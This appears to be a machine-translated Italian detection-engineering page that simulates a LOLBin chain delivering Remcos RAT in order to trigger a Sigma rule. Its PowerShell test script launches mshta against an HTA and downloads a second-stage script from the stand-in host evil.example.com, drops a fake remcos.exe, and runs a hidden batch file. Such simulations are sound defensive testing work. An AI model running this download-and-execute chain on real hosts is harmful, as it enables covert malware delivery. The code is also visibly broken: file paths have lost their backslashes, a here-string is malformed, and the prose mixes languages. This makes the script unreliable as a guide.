È possibile abusare dei LOLBins per consegnare payload RAT?

Esecuzione della Simulazione

Prerequisito: Il Controllo Preliminare della Telemetria e del Baseline deve essere superato.

Motivazione: Questa sezione descrive l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.

• Narrativa e Comandi dell’Attacco:
  L’operatore del red-team mira a distribuire il Remcos RAT utilizzando una catena di LOLBins per evitare di scaricare direttamente un eseguibile.

  1. Scoperta e Messa in Scena: Use forfiles.exe per trovare una directory di destinazione e avviare mshta con un URL dannoso che ospita un payload HTA.
  2. Download di PowerShell Senza File: Invoke powershell.exe con -NoProfile -Command curl per recuperare uno script di secondo stadio da un server C2.
  3. Esecuzione VBScript: Distribuire un processor.vbs via creato con %ProgramData%.
  4. Batch Dropper: Eseguire un file batch nascosto (patcher.bat) tramite cmd.exe richiamato tramite IWshShell3.Run per finalizzare la persistenza.

  Ogni passaggio genera un evento di creazione del processo distinto che corrisponde a una delle selezioni Sigma, assicurando che la regola si attivi.

• Script di Test di Regressione:
  Lo script sotto riproduce le quattro selezioni in un laboratorio controllato. Registra ogni comando su un file temporaneo per una verifica successiva.

  #-------------------------------------------------
  # Simulazione di Abuso LOLBin – attiva la regola Sigma
  #-------------------------------------------------
  $log = "$env:TEMPlolbin_simulation.log"
  Clear-Content -Path $log -ErrorAction SilentlyContinue
  
  # 1. forfiles.exe -> mshta
  $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
  Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log
  Invoke-Expression $cmd1
  
  # 2. powershell.exe -> curl download
  $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
  Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log
  Invoke-Expression $cmd2
  
  # 3. wscript.exe -> processor.vbs
  $vbsPath = "$env:ProgramDataprocessor.vbs"
  @"
  Set fso = CreateObject("Scripting.FileSystemObject")
  fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
  "@ | Set-Content -Path $vbsPath -Encoding ASCII
  $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
  Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log
  Invoke-Expression $cmd3
  
  # 4. IWshShell3.Run -> cmd /c patcher.bat
  $batPath = "$env:ProgramDatapatcher.bat"
  "@
  echo @echo off > %TEMP%nothing.txt
  "@ | Set-Content -Path $batPath -Encoding ASCII
  $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
  Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
  Invoke-Expression $cmd4
  
  Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log

• Comandi di Pulizia:
  Rimuovi gli artefatti per ripristinare l’host a uno stato pulito.

  # Cleanup LOLBin simulation artifacts
  Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
  Write-Output "[+] Cleanup completed."

  ---